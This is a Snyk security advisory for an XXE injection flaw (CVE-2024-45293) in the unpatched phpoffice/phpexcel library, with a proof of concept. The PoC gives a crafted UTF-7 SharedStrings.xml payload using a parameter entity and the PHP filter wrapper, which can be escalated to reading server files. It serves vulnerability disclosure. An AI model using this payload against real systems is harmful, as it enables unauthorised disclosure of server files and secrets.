XML External Entity (XXE) Injection Affecting phpoffice/phpexcel package, versions >=0.0.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-PHP-PHPOFFICEPHPEXCEL-9299761
- published7 Mar 2025
- disclosed7 Oct 2024
- credit0xshade, ixSly
Introduced: 7 Oct 2024
CVE-2024-45293 (opens in a new tab)How to fix?
There is no fixed version for phpoffice/phpexcel.
Overview
Affected versions of this package are vulnerable to XML External Entity (XXE) Injection through the toUtf8 function in the XmlScanner.php file. An attacker can disclose server files and sensitive information by providing an Excel sheet with a modified XML structure, specifying UTF-7 encoding with whitespace before the = in the declaration. Due to insufficient checks for that specification, the default UTF-8 is used and conversion logic is bypassed. This can expose file contents by using the PHP filter wrapper to access the server's filesystem.
PoC
An Excel sheet (XLSX) with at least one cell containing a value is needed.
Unzip the excel sheet, and modify the xl/SharedStrings.xml file with the following value (note the space after encoding=):
<?xml version="1.0" encoding= 'UTF-7' standalone="yes"?>
+ADw-!DOCTYPE abc [ ... ]>
- The following string is encoded in base64:
<!ENTITY internal 'abc' >"
Resulting in:
PCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K
- The string is used with a parameter entity and the PHP filter wrapper to ultimately define custom entities and call them within the XML.
<?xml version="1.0" encoding= 'UTF-7' standalone="yes"?>
+ADw-!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K" > %xxe;]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1"><si><t>&internal;</t></si></sst>
When this file is parsed by the library, the value abc should be in the original filled cell.
With the help of the PHP filter wrapper, this can be escalated to information disclosure/file read.